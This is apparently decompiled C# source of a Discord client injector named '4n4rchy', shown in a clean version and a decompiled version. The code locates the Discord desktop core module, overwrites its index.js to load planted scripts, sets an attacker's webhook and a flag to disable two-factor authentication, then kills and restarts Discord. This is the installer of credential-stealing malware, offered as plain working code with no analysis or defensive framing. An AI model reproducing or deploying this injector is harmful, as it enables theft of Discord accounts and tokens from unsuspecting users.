static void Main() { OxygenFile injectFile = new OxygenFile("inject.js", Resources.inject); OxygenFile modFile = new OxygenFile("discordmod.js", Resources.discordmod); foreach (DiscordBuild build in Enum.GetValues(typeof(DiscordBuild))) { if (OxygenInjector.TryGetDiscordPath(build, out string path)) { string anarchyPath = Path.Combine(path, "4n4rchy"); if (Directory.Exists(anarchyPath)) { Directory.Delete(anarchyPath, true); } } if (OxygenInjector.Inject(build, "4n4rchy", "inject", $"process.env.hook = '{Settings.Webhook.Replace("https://discord.com/api/webhooks/", "").Replace("https://discordapp.com/api/webhooks/", "")}';\nprocess.env.mfa = {Settings.Disable2fa.ToString().ToLower()};", injectFile, modFile) && build == DiscordBuild.Discord) { foreach (var proc in Process.GetProcessesByName("Discord")) { proc.Kill(); } Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Microsoft\Windows\Start Menu\Programs\Discord Inc\Discord.lnk"); } } }
// Token: 0x0600000A RID: 10 RVA: 0x00002270 File Offset: 0x00000470 private static void Main() { OxygenFile injectFile = new OxygenFile("inject.js", Resources.inject); OxygenFile modFile = new OxygenFile("discordmod.js", Resources.discordmod); foreach (object obj in Enum.GetValues(typeof(DiscordBuild))) { DiscordBuild build = (DiscordBuild)obj; string path; bool flag = OxygenInjector.TryGetDiscordPath(build, out path); if (flag) { string anarchyPath = Path.Combine(path, "4n4rchy"); bool flag2 = Directory.Exists(anarchyPath); if (flag2) { Directory.Delete(anarchyPath, true); } } bool flag3 = OxygenInjector.Inject(build, "4n4rchy", "inject", string.Concat(new string[] { "process.env.hook = '", Settings.Webhook.Replace("https://discord.com/api/webhooks/", "").Replace("https://discordapp.com/api/webhooks/", ""), "';\nprocess.env.mfa = ", Settings.Disable2fa.ToString().ToLower(), ";" }), new OxygenFile[] { injectFile, modFile }) && build == DiscordBuild.Discord; if (flag3) { foreach (Process proc in Process.GetProcessesByName("Discord")) { proc.Kill(); } Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Microsoft\\Windows\\Start Menu\\Programs\\Discord Inc\\Discord.lnk"); } } }
// Token: 0x06000006 RID: 6 RVA: 0x0000208C File Offset: 0x0000028C public static bool Inject(DiscordBuild build, string dirName, string indexFile, string prependJS, params OxygenFile[] files) { string path; bool flag = !OxygenInjector.TryGetDiscordPath(build, out path); bool result; if (flag) { result = false; } else { try { DirectoryInfo epicDir = Directory.CreateDirectory(path + "/" + dirName); File.WriteAllText(path + "/index.js", string.Concat(new string[] { "\n", prependJS, "\nprocess.env.modDir = '", epicDir.FullName.Replace("\\", "\\\\"), "'\nrequire(process.env.modDir + '\\\\inject')\nmodule.exports = require('./core.asar');" })); foreach (OxygenFile file in files) { File.WriteAllText(epicDir.FullName + "/" + file.Path, file.Contents); } result = true; } catch { result = false; } } return(result); }
// Token: 0x06000007 RID: 7 RVA: 0x00002174 File Offset: 0x00000374 public static bool TryGetDiscordPath(DiscordBuild build, out string path) { bool result; try { path = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\" + OxygenInjector.BuildToString(build)).GetDirectories().First((DirectoryInfo d) => Regex.IsMatch(d.Name, "\\d.\\d.\\d{2}(\\d|$)")).GetDirectories().First((DirectoryInfo d) => d.Name == "modules").GetDirectories().First((DirectoryInfo d) => d.Name == "discord_desktop_core").FullName; result = true; } catch { path = null; result = false; } return(result); }